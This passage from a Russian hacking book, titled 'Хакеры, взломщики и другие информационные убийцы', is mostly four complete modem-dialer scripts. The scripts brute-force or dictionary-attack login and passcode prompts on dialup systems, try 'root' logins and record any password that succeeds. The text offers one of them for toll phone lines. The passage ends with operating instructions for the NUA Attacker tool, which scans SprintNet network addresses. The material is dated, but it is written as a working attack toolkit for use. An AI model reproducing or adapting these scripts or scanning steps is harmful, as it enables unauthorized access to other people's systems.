Главная · Поиск книг · Поступления книг · Top 40 · Форумы · Ссылки · Читатели

Настройка текста
Перенос строк


    Реклама    

liveinternet.ru: показано число просмотров за 24 часа, посетителей за 24 часа и за сегодня
Rambler's Top100
Образование - Борис Леонтьев Весь текст 197.13 Kb

Хакеры, взломщики и другие информационные убийцы

Предыдущая страница Следующая страница
1 2 3 4 5 6  7 8 9 10 11 12 13 14 ... 17
     PHONE_NR=,
     LOGFILE=lh&scave.log
     DIC(1)=d:\project\hack\word\badpws.dic
     ; задайте корректный путь к вашему словарю
     #NOCARRIER
     IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr)
     LOG(Carrier lost on $DATE at $TIME)
     LOG()
     GOTO(#START)
     #START
     SET S_TMP=UNDEFINE
     ;SET S_TMP=DEFINE
     HANGUP
     LOG_SESSION_ON
     SET STRING2=
     IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s pickup.scr)
     IF S_TMP=UNDEFINE THEN SEND(AT H1)
     EXECUTE(scavenge.exe /nooutput /s thc&scav.scr)
     :111
     SEND(ATD)
     SET D_TMP=0
     :112
     WAIT(1)
     INC(D_TMP)
     IF D_TMP>50 THEN GOTO(99)
     CHECK4CARRIER(112)
     SEND()
     ; послать возврат каретки после соединения
     :1
     WAIT(1)
     IF STRING2~assw THEN GOTO(2)
     GOTO(1)
     :2
     SEND_NEXT_DIC(1)
     WAIT(2)
     IF STRING2~ncorr THEN GOTO(3)
     GOTO(50)
     :3
     SET STRING2=
     :4
     WAIT(1)
     IF STRING2~assw THEN GOTO(5)
     GOTO(4)
     :5
     SEND_NEXT_DIC(1)
     WAIT(2)
     IF STRING2~ncorr THEN GOTO(6)
     GOTO(50)
     :6
     SET STRING2=
     :7
     WAIT(1)
     IF STRING2~assw THEN GOTO(8)
     GOTO(7)
     :8
     SEND_NEXT_DIC(1)
     WAIT4STRING(10,,1,GOTO(50),ncorr)
     GOTO(99)
     :50
     BEEP
     BEEP
     BEEP
     LOG(------------- -----------------)---- -------------------)
     LOG($DATE $TIME)
     LOG()
     LOG(PASSWORD: $DIC(1))
     LOG()
     GOTO(150)
     :99
     CHECK4CARRIER(OFF)
     IF S_TMP=UNDEFINE THEN GOTO(#START)
     EXECUTE(scavenge.exe /s rebreak.scr)
     ; создание скрипта для перенабора номера и дозвона до цели
     GOTO(111)
     :150
     IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr)
     GOTO(#END)
     #END
     Первый пример скрипта
     Системный дескриптор: UNIX на F.
     Но вы никогда не должны это делать.
     #DEFINE
     LOGFILE=C:\OUTPUT\NY-SYS5.LOG
     PHONE_NR=I dont tell you ;)
     DIAL_TRIES=3
     LOGIN_TRIES=0
     DIC(1)=C:\HACKING\DICTIONA.RY\BAD_PWS.DIC
     #NOCARRIER
     BEEP
     BEEP
     BEEP
     LOG(NO CARRIER)
     LOG(ON $DATE $TIME)
     LOG(AT $DIC(1))
     LOG()
     GOTO(#START)
     #START
     LOG(------------------------- -----)---- -------------------)
     LOG(TARGET : $PHONE_NR ON $DATE - $TIME)
     LOG()
     :1
     LOG(Dialing ...)
     DIAL
     LOG($STRING)
     LOG_SESSION_ON
     SEND()
     SEND()
     WAIT4STRING(15,^M,4,GOTO(1),name)
     SEND( )
     LOG_SESSION_OFF
     :2
     SEND(CONNECT HACK.THIS.SYSTEM.EDU)
     :3
     WAIT4STRING(30,^C,1,GOTO(2),ogin:)
     SEND(root)
     WAIT4STRING(20,^D,1,GOTO(2),assword:)
     SEND_NEXT_DIC(1)
     IF STRING~ogin: THEN GOTO(3)
     IF STRING~refused THEN GOTO(2)
     LOG()
     LOG($STRING)
     LOG()
     LOG(!!!!! WE GOT THROUGH !!!!!!)
     LOG(Login : root)
     LOG(Password : $DIC(1))
     LOG()
     BEEP
     BEEP
     BEEP
     BEEP
     BEEP
     HANGUP
     GOTO(#END)
     #END
     Второй пример скрипта
     #DEFINE
     INIT_MODEM=AT&N15
     INIT_DATA=7E1
     LOGFILE=C:\OUTPUT\TELEKOM4.LOG
     PHONE_NR=I dont tell you ;)
     DIAL_TRIES=3
     LOGIN_TRIES=0
     BRUTE(1)=1,1,1,12
     #NOCARRIER
     BEEP
     BEEP
     BEEP
     LOG(NO CARRIER)
     LOG(ON $DATE $TIME)
     LOG(AT $BRUTE(1))
     LOG()
     GOTO(#START)
     #START
     LOG(-----------------------------------)---- ---------------)
     LOG(TARGET : $PHONE_NR ON $DATE - $TIME)
     LOG()
     :1
     LOG(Dialing ...)
     HANGUP
     DIAL
     LOG($STRING)
     WAIT4STRING(15,^M,4,GOTO(1),PA)
     :2
     SEND_NEXT_BRUTE(1)
     WAIT4STRING(3,^M,2,GOTO(3),PA)
     GOTO(2)
     :3
     LOG_SESSION_ON
     SEND()
     SEND(?)
     SEND(HELP)
     SEND(HILFE)
     LOG()
     LOG(!!!!! WE GOT THROUGH !!!!!!)
     LOG(Password : $BRUTE(1))
     LOG()
     BEEP
     BEEP
     BEEP
     BEEP
     BEEP
     HANGUP
     GOTO(#END)
     #END
     Третий пример скрипта
     Этот скрипт может быть использован на некоторых небесплатных телефонных
линиях 0130-xxxxxx.
     ; Система требует пароль
     ; Неограниченное количество попыток позволяет войти в систему
     ;
     ; 30xCrLf
     ; PASSCODE:*****
     ;
     #DEFINE
     INIT_MODEM=AT &F L2
     INIT_DATA=8N1
     LOGFILE=xxxxxx.LOG
     PHONE_NR=0130xxxxxx
     DIAL_TRIES=5
     LOGIN_TRIES=0
     DIC(1)=C:\2\thc-lh09\w1.w
     #NOCARRIER
     BEEP
     BEEP
     BEEP
     LOG(NO CARRIER)
     LOG(ON $DATE $TIME)
     LOG(AT $DIC(1))
     LOG()
     GOTO(#START)
     #START
     LOG(------------------- ---------)---- -------------)
     LOG(TARGET : $PHONE_NR ON $DATE - $TIME)
     LOG()
     :1
     LOG(Dialing ...)
     HANGUP
     DIAL
     LOG($STRING)
     WAIT4STRING(30,.^M,3,GOTO(1),PASS)
     :2
     set string=
     SEND_NEXT_DIC(1)
     wait(1)
     LOG($DIC(1))
     ; да, регистрироваться с каждой попытки!
     WAIT4STRING(15,.^M,3,GOTO(3),PASS)
     GOTO(2)
     :3
     LOG_SESSION_ON
     SEND()
     SEND(?)
     SEND(HELP)
     SEND()
     LOG()
     LOG(!!!!! WE GOT THROUGH !!!!!!)
     LOG(Password : $DIC(1))
     LOG()
     BEEP
     BEEP
     BEEP
     BEEP
     BEEP
     HANGUP
     GOTO(#END)
     #END
     Четвертый пример скрипта
     Это скрипт предназначен исключительно для платформ Telnet.
     #DEFINE
     init_modem=z
     init_data=8n1
     LOGFILE=xxxxxx.log
     PHONE_NR=xxxxxx
     DIAL_TRIES=0
     LOGIN_TRIES=0
     DIC(1)=D:\hackusr\dictbig.txt
     ;dic(2)=d:\hackusr\bigdict2.txt
     ;dic(3)=d:\hackusr\bigdict3.txt
     #NOCARRIER
     LOG(NO CARRIER)
     LOG(ON $DATE $TIME)
     LOG(AT $DIC(1))
     LOG(returning ...)
     GOTO(#START)
     #START
     HANGUP
     LOG_SESSION_ON
     LOG()
     log()
     log( HaCK ATTeMPT STaRTeD ......)
     log()
     log( TaRGeT: $PHONE_NR )
     log( DaTe: $DATE )
     log( TiMe: $TIME)
     log()
     log()
     log( ......DiaLiNG)
     dial
     log()
     log( ......CoNNeCTeD!)
     log()
     log()
     wait(5)
     :1
     wait4string(1,^M,5,goto(#start),sername>)
     send(fh65)
     :2
     wait4string(1,^M,5,goto(#start),ocal>)
     send(connect 189.25.56.7)
     :3
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait4string(1,^C,5,goto(4),ogin:)
     send(root)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     :4
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait4string(1,^D,5,goto(4),assword:)
     send_next_dic(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     :5
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     :6
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     :7
     beep
     beep
     beep
     beep
     beep
     beep
     beep
     beep
     beep
     log()
     log()
     log()
     Log(...... HaCK ATTeMPT WaS SuCCeSSFuLL!!!!!!!!!!!!!!)
     log()
     log( TaRGeT: $PHONE_NR DaTe: $DATE TiMe: $TIME)
     log()
     log()
     log()
     log( ACCouNT: root)
     log( PaSSWoRD: DIC(1))
     log()
     log()
     log()
     #END
     Сканирование адресов пользователей
     Операции по сканированию сетевых  адресов мы разберем на основе  весьма
известной программы Network User Address Attacker. Эта программа  известного
сообщества P/H/A.  NUA  Attacker  написан на  Turbo  C  2.0 хакером Доктором
Диссектором.  Network  User  Address  Attacker  сканирует  клавишную  панель
SprintNet. При этом программа способна  распознать ошибки кодов на SprintNet
и  других  типах  соединений.  Каждый  отсканированный сетевой  адрес  может
зарегистрироваться  под  logfile с  описанием возвращенного кода ошибки  или
краткой   суммой   данных  главной   системы.   Таким   образом,   программа
дозванивается  до Net и  сканирует  сетевые  адреса пользователей.  Диапазон
сканирования задается  атакующим.  Кроме  этого, в  прилагаемом к  программе
файле SND390.TXT  имеется список некоторых  модемных  телефонных номеров. Вы
можете, конечно, использовать только известный вам номер, то есть тот номер,
который наиболее близко соответствует вашему региону.
     Эта  программа   может  быть  наиболее  полезной  при  поиске  сетей  с
коммутирующими  пакетами или на основе UNIX.  Автор этой программы надеется,
что любые  ошибки,  найденные в ней, будут  переданы  через сообщество P/H/A
хакерам Доктору Диссектору, Темному Шлему, Корейцу Подавителю или Анонимному
Анархисту.
     Файлы программы
     NUAA.EXE
     Программа NUA Attacker.
     NUAA.DOC
     Документация
     README.PHA
     Прочтите это сначала!
     SND390.TXT
     Список телефонных номеров Net.
     NUAA.CFG
     Отчет о текущей атаке и конфигурации модема.
     NUAFILE.PHA
     Список сетевых адресов пользователей.
     LOGFILE.PHA
     Список  сетевых адресов пользователей,  составленных атакующим.  В этом
файле также содержатся коды ответа NUA, полученные атакующим.
     Файлы  NUAfile  и  Logfile могут модифицироваться.  Файлы NUAFILE.PHA и
LOGFILE.PHA -- это обыкновенные текстовые файлы,  вы можете редактировать их
в любом  текстовом редакторе. Кроме того, если файл уже существует, то любые
данные  добавятся к  тому имени файла, которые существуют в  файле  с меткой
EOF.
     Запуск программы
     Для запуска NUA Attacker введите с вашей консоли следующее:
     C:\ >NUAA [/I]
     Параметр /I позволяет вам начать выполнение программы без инициализации
модема перед сканированием адресов. В этом случае, когда вы выберите команду
Begin attack (Начать  нападение),  NUA  Attacker  сразу  начнет сканирование
адресов  (если вы предварительно зарегистрировались в системе,  то теперь вы
снова должны зарегистрироваться на Net через приглашение @).
     Настройка режима сканирования
     Настройка  сканирования  адресов  осуществляется  через  команду  Setup
attack. В появившемся диалоговом окне выполните настройку следующих опций.
     Phone Number
     Телефонный номер Net (SND390.TXT).
     Starting NUA
     Начальный сетевой адрес пользователя.
     Ending NUA
     Конечный сетевой адрес пользователя.
     Timeout
     Время ожидания ответа от сетевого адреса пользователя.
     Log filename
     Имя файла, в который будут выводится сообщения об ошибках и  информация
о неудачных попытках соединения.
     NUA filename
     Имя файла, в  который будут выводится  сетевые адреса пользователей (по
умолчанию это файл NUAFILE.PHA).
     Decimals
     Включить или отключить режим десятичного сканирования.
     Пользователи  Net используют  сетевые  адреса в формате  XXXXXX.XX. NUA
Attacker поддерживает сканирование десятичных чисел.
     Например, если вы настроите эту опцию так:
     Starting NUA: 619100.10
     Ending NUA: 619200.10
Предыдущая страница Следующая страница
1 2 3 4 5 6  7 8 9 10 11 12 13 14 ... 17
Ваша оценка:
Комментарий:
  Подпись:
(Чтобы комментарии всегда подписывались Вашим именем, можете зарегистрироваться в Клубе читателей)
  Сайт:
 
Комментарии (9)

Реклама